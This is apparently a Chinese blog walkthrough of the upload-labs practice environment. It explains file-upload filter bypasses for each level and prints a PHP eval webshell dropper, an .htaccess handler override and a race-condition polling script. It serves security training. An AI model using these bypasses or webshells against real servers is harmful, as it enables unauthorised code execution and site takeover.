1.本题是前端检查,只要关闭f12中上设置里的禁止javascript即可成功上传我们的一句话木马。在蚁剑中即可连接到我们上传的一句话木马。
2.本题是MIME验证,改变抓包内的格式即可,
使用bp抓包,修改上传的PHP的content-type为image/png
3.本题是黑名单验证,先修改phpstudy里面的PHP版本,下载php5.4.45版本,上传时把php改为php5即可成功上传.
4.
发现使用上面上传的php5或者其他类型的文件,都以失败告终。
但是发下有一个文件是没有过滤,也是我们上传过程中经常用到的.htaccess
.
首先,我们先写入一个.htaccess的文件,文件内容如下所示:
<FilesMatch "pzz.png">
SetHandler application/x-httpd-php
</FilesMatch>
在上述配置中,FilesMatch表示匹配pzz.png的文件,当该文件名匹配成狗后,SetHandler表示将该文件作为PHP类型的文件来进行处置。
然后上传该文件:
之后,我们上传一个pzz.png的文件,如下所示:
最后,我们就可以尝试访问该图片了,结果如下所示:
5.
这里的提示和上一关的一样。
查看提示发现:
有个php文件,于是我想到了.user.ini文件,这个文件也同样是包含,是吧一个文件放在某种文件里解析。如果我上传一个图片马。而后使用文件了的php文件解析,那么这个木马就会生效并能让我成功连接。
.user.ini内容:
而后上传shell.jpg,最后连接readme.php文件即可。
6.直接把php里面最后一个p改成大写字母即可成功上传。
7.抓包网页在文件名后面加上一个空格即可成功上传。
8.转包网页在文件名后面加上一个点即可上传成功。
9.抓包加入::%DATA即可。
10.抓包把点 空格 大小写都删除,在发送即可上传成功。
11.这个比较灵活,和电脑玩脑筋,直接改一个电脑很迷惑的,如图12.使用PHP5.2.17+Apache环境
这一关白名单,最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
13.本人这里使用的是PHP5.2.17+Apache环境
这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单
补充知识:POST不会对里面的数据自动解码,需要在Hex中修改。
上传zoe.php用BP抓包修改参数,然后修改后的结果为如下图二
在../upload/ 路径下加上zoe.php+ +号是为了方便后面修改Hex
+号的Hex是2b,这里我们要把它改为00(效果如下图二)
然后就可以放包了,复制图片地址并用蚁剑进行连接
但是这里要注意一下,蚁剑连接填的URL地址要把图下面的蓝色部分删了(即php后面部分要删掉)
14.这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件
使用 图片马 + 文件包含
绕过
题目中2.有文件包,使用这个。
15.通过使用getimagesize()检查是否为图片文件,所以还是可以用第十四关
的图片马绕过,并使用文件包含漏洞解析图片马
构造的URL为include.php?file=upload/8620210320174003.png
如果出现如下图情况代表图片马是成功解析了
然后用蚁剑连接
16.
还是可以用第十四关
的图片马绕过,并使用文件包含漏洞解析图片马
构造的URL为include.php?file=upload/ 8620210320175536.png
如果出现如下图情况代表图片马是成功解析了
然后用蚁剑连接
17.这一关对上传图片进行了判断了后缀名
、content-type
,以及利用imagecreatefromgif
判断是否为gif
图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接。
18.线索就是在源码里面
从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。
这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。
那还怎么搞?上传上去就被删除了,我还怎么去访问啊。
不慌不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。
19.需要代码审计。那么再来看看源码吧。
从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。
这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
1
第一步:生成图片马
第二步:上传图片马,用BP拦截(基本上在BP上的操作跟上面第18关没区别)
点击Clear$
接着设置无限发送空的Payloads,来让它一直上传该文件
最后建议这里把线程设置高一点
然后我们要修改一下python脚本,不能再用回第18关的脚本了,这里脚本要修改为文件包含来访问(由于隐私原因,IP地址不能放出来,下面的脚本的url地址XXX都是代表IP地址)
import requests
url = "http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png"
while True:
html = requests.get(url)
if ( 'Warning' not in str(html.text)):
print('ok')
break
接下来我们可以用BP进行攻击,并同时运行python脚本
当出现OK说明访问到了该文件,那么Tony.php应该也创建成功了,用蚁剑连一下试试。
这里注意一下蚁剑连接的URL为http://xxx.xxx.xxx.xxx/upload-labs/Tony.php
其实这题同样的这也属于条件竞争的一种,只不过文件的形式不同而已。但是这题存在一个概率问题,比如我这次很短时间可以跑出来,但是下一次再同样做一次的话可能要长一点时间,反正我第一次打这关我当时BP跑了5W都没跑出来,而这次在30个包之后就可以出来了,不过还是那句,建议BP的线程能设高一点,效果可能会更好。
20.
没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.
先准备PHP一句话木马,并把后缀名改为PNG再上传
然后用BP来抓包,效果如下图,就是在upload-19.jpg改为upload-19.php/.
修改完直接放包,然后复制图片地址,用蚁剑连接
21.
查看源码:
这里会进行一个拼接
而在上面,进行了一个切割。
使用bp抓包
这里我直接把参数分成数组,而后在经过拼接得到upload-20.php.
最后使用蚁剑连接。